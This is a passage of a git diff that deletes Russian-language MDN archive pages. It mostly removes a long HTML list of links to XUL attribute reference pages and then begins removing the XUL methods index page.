-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/contentcontextmenu">contentcontextmenu</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/contenttooltip">contenttooltip</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/context">context</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/contextmenu">contextmenu</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/control">control</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/crop">crop</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/curpos">curpos</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/current">current</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/currentset">currentset</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/customindex">customindex</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/customizable">customizable</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/cycler">cycler</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/datasources">datasources</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/default">default</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/defaultButton">defaultButton</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/defaultset">defaultset</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/description">description</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/dir">dir</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/disableAutocomplete">disableAutocomplete</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/disableautocomplete">disableautocomplete</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/disableautoselect">disableautoselect</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/disableclose">disableclose</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/disabled">disabled</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/disablehistory">disablehistory</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/disableKeyNavigation">disableKeyNavigation</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/disablekeynavigation">disablekeynavigation</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/disablesecurity">disablesecurity</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/dlgType">dlgType</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/dragging">dragging</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/editable">editable</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/editortype">editortype</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/element">element</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/empty">empty</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/enableColumnDrag">enableColumnDrag</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/enablehistory">enablehistory</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/equalsize">equalsize</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/eventnode">eventnode</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/events">events</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/firstpage">firstpage</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/first-tab">first-tab</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/fixed">fixed</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/flags">flags</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/flex">flex</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/focused">focused</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/forceComplete">forceComplete</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/forcecomplete">forcecomplete</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/grippyhidden">grippyhidden</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/grippytooltiptext">grippytooltiptext</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/group">group</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/handleCtrlPageUpDown">handleCtrlPageUpDown</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/handleCtrlTab">handleCtrlTab</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/height">height</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/helpURI">helpURI</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/hidden">hidden</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/hidechrome">hidechrome</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/hidecolumnpicker">hidecolumnpicker</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/hideheader">hideheader</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/homepage">homepage</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/icon">icon</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/id">id</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/ignoreBlurWhileSearching">ignoreBlurWhileSearching</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/ignoreblurwhilesearching">ignorebluewhilesearching</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/ignorecolumnpicker">ignorecolumnpicker</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/ignorekeys">ignorekeys</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/image">image</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/increment">increment</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/inputtooltiptext">inputtooltiptext</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/insertafter">insertafter</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/insertbefore">insertbefore</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/instantApply">instantApply</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/inverted">inverted</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/iscontainer">iscontainer</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/isempty">isempty</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/key">key</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/keycode">keycode</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/keytext">keytext</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/label">label</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/lastpage">lastpage</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/lastSelected">lastSelected</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/last-tab">last-tab</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/left">left</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/linkedpanel">linkedpanel</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/maxheight">maxheight</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/maxlength">maxlength</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/maxpos">maxpos</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/maxrows">maxrows</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/maxwidth">maxwidth</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/member">member</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/menu">menu</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/menuactive">menuactive</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/minheight">minheight</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/minResultsForPopup">minResultsForPopup</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/minresultsforpopup">minresultsforpopup</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/minwidth">minwidth</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/mode">mode</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/modifiers">modifiers</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/mousethrough">mousethrough</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/multiline">multiline</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/name">name</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/next">next</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/noautohide">noautohide</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/nomatch">nomatch</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/observes">observes</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onbeforeaccept">onbeforeaccept</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onbookmarkgroup">onbookmarkgroup</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onchange">onchange</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onclosetab">onclosetab</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/oncommand">oncommand</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/oncommandupdate">oncommandupdate</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/ondialogaccept">ondialogaccept</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/ondialogcancel">ondialogcancel</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/ondialogdisclosure">ondialogclosure</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/ondialoghelp">ondialoghelp</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onerror">onerror</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onerrorcommand">onerrorcommand</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/oninput">oninput</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onload">onload</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onnewtab">onnewtab</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onpageadvanced">onpageadvanced</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onpagehide">onpagehide</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onpagerewound">onpagerewound</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onpageshow">onpageshow</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onpanelload">onpanelload</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onpopuphidden">onpopuphidden</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onpopuphiding">onpopuphiding</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onpopupshowing">onpopupshowing</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onpopupshown">onpopupshown</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onsearchcomplete">onsearchcomplete</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onselect">onselect</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/ontextcommand">ontextcommand</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/ontextentered">ontextentered</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/ontextrevert">ontextrevert</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/ontextreverted">ontextreverted</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onwizardback">onwizardback</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onwizardcancel">onwizardcancel</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onwizardfinish">onwizardfinish</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/onwizardnext">onwizardnext</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/open">open</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/ordinal">ordinal</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/orient">orient</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/pack">pack</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/pageid">pageid</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/pageincrement">pageincrement</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/pagestep">pagestep</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/parent">parent</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/parsetype">parsetype</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/persist">persist</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/phase">phase</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/pickertooltiptext">pickertooltiptext</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/popup">popup</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/position">position</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/preference">preference</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/preference-editable">preference-editable</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/primary">primary</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/properties">properties</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/readonly">readonly</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/ref">ref</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/removeelement">removeelement</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/resizeafter">resizeafter</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/resizebefore">resizebefore</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/rows">rows</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/screenX">screenX</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/screenY">screenY</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/searchSessions">searchSessions</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/selected">selected</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/selectedIndex">selectedIndex</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/seltype">seltype</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/setfocus">setfocus</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/showCommentColumn">showCommentColumn</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/showcommentcolumn">showcommentcolumn</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/showpopup">showpopup</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/size">size</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/sizemode">sizemode</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/sizetopopup">sizetopopup</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/sort">sort</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/sortActive">sortActive</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/sortDirection">sortDirection</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/sortResource">sortResource</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/sortResource2">sortResource2</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/src">src</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/state">state</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/statedatasource">statedatasource</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/statusbar">statusbar</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/statustext">statustext</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/style">style</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/substate">substate</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/suppressonselect">suppressonselect</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/tabindex">tabindex</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/tabScrolling">tabScrolling</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/tabscrolling">tabscrolling</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/targets">targets</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/template">template</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/timeout">timeout</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/title">title</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/toolbarname">toolbarname</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/tooltip">tooltip</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/tooltiptext">tooltiptext</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/tooltiptextnew">tooltiptextnew</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/top">top</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/type">type</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/uri">uri</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/userAction">userAction</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/validate">validate</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/value">value</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/wait-cursor">wait-cursor</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/width">width</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/windowtype">windowtype</a>
-</li><li> <a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82/wrap">wrap</a>
-</li></ul>
diff --git a/files/ru/mozilla/tech/xul/методы/index.html b/files/ru/mozilla/tech/xul/методы/index.html
deleted file mode 100644
index 135b087f78..0000000000
--- a/files/ru/mozilla/tech/xul/методы/index.html
+++ /dev/null
@@ -1,185 +0,0 @@
----
-title: Методы
-slug: Mozilla/Tech/XUL/Методы
-translation_of: Archive/Mozilla/XUL/Method
----
-<p><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/en-US/docs/XUL_Reference" title="/en-US/docs/XUL_Reference">XUL Reference home</a></span></p>
-
-<ul>
- <li><a href="/en-US/docs/XUL/Method/acceptDialog" title="XUL/Method/acceptDialog">acceptDialog</a></li>
- <li><a href="/en-US/docs/XUL/Method/addItemToSelection" title="XUL/Method/addItemToSelection">addItemToSelection</a></li>
- <li><a href="/en-US/docs/XUL/Method/addPane" title="XUL/Method/addPane">addPane</a></li>
- <li><a href="/en-US/docs/XUL/Method/addProgressListener" title="XUL/Method/addProgressListener">addProgressListener</a></li>
- <li><a href="/en-US/docs/XUL/Method/addSession" title="XUL/Method/addSession">addSession</a></li>
- <li><a href="/en-US/docs/XUL/Method/addTab" title="XUL/Method/addTab">addTab</a></li>
- <li><a href="/en-US/docs/XUL/Method/AddTabsProgressListener" title="XUL/Method/addTab">addTabsProgressListener</a></li>
- <li><a href="/en-US/docs/XUL/Method/advance" title="XUL/Method/advance">advance</a></li>
- <li><a href="/en-US/docs/XUL/Method/advanceSelectedTab" title="XUL/Method/advanceSelectedTab">advanceSelectedTab</a></li>
